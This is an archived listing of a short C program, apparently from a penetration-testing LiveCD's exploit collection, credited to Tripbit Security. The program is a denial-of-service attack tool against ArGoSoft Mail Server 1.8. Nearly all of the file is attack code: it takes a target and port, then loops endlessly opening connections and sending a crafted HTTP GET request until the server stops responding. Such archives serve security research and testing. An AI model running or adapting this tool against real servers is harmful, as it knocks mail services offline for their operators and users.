home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / argosoft / Tripbit-AMSxpl.c < prev   
C/C++ Source or Header  |  2005-02-12  |  2KB  |  81 lines

  1. /**********************************************************************************
  2. *
  3. *     Denial of Service Attack against ArGoSoft Mail Server Version 1.8
  4. (1.8.3.5)
  5. *
  6. *    Tripbit Security Development
  7. *    ---------------------------------
  8. *
  9. *    Author: posidron
  10. *
  11. *    Contact
  12. *    [-] Mail: posidron@tripbit.org
  13. *    [-] Web: http://www.tripbit.org
  14. *    [-] Forum: http://www.tripbit.org/wbboard
  15. *    [-] IRC: irc.euirc.net 6667 #tripbit
  16. *
  17. *    Greets: Rushjo, Tec, STeFaN, Havoc][, MisterMoe, PeaceTreaty
  18. *
  19. **********************************************************************************/
  20.  
  21. #include <stdio.h>
  22. #include <netdb.h>
  23. #include <netinet/in.h>
  24. #include <sys/types.h>
  25. #include <sys/socket.h>
  26.  
  27. int main(int argc, char *argv[])
  28. {
  29.     int port, sockfd;
  30.     struct sockaddr_in server;
  31.     struct hostent *host;
  32.     char sendstring[1024];
  33.  
  34.     strcpy(sendstring, "GET  /index.html HTTP/1.0\n\n");
  35.  
  36.     if(argc < 3)
  37.     {
  38.         printf("Usage: %s [target] <port>\n", argv[0]);
  39.         exit(0);
  40.     }
  41.  
  42.     port = atoi(argv[2]);
  43.  
  44.     host = gethostbyname(argv[1]);
  45.     if(host == NULL)
  46.     {
  47.         printf("Connection failed!...\n");
  48.         exit(0);
  49.     }
  50.  
  51.     server.sin_family = AF_INET;
  52.     server.sin_port = htons(port);
  53.     server.sin_addr.s_addr = inet_addr((char*)argv[1]);
  54.  
  55.     printf("Dos against ArGoSoft Mail Server Version 1.8 (1.8.3.5)\n");
  56.  
  57.     for(;;)
  58.     {
  59.         if( (sockfd = socket(AF_INET,SOCK_STREAM,0)) < 0)
  60.         {
  61.             printf("socket() failed!\n");
  62.             exit(0);
  63.         }
  64.  
  65.         if(connect(sockfd, (struct sockaddr*)&server, sizeof(server)) < 0)
  66.         {
  67.             printf("connect() failed!\n");
  68.             close(sockfd);
  69.         }
  70.  
  71.         if (write(sockfd, sendstring, strlen(sendstring)) < 0)
  72.         {
  73.             break;
  74.         }
  75.  
  76.         close(sockfd);
  77.     }
  78.  
  79.     printf("Attack done!...\n");
  80. }
  81.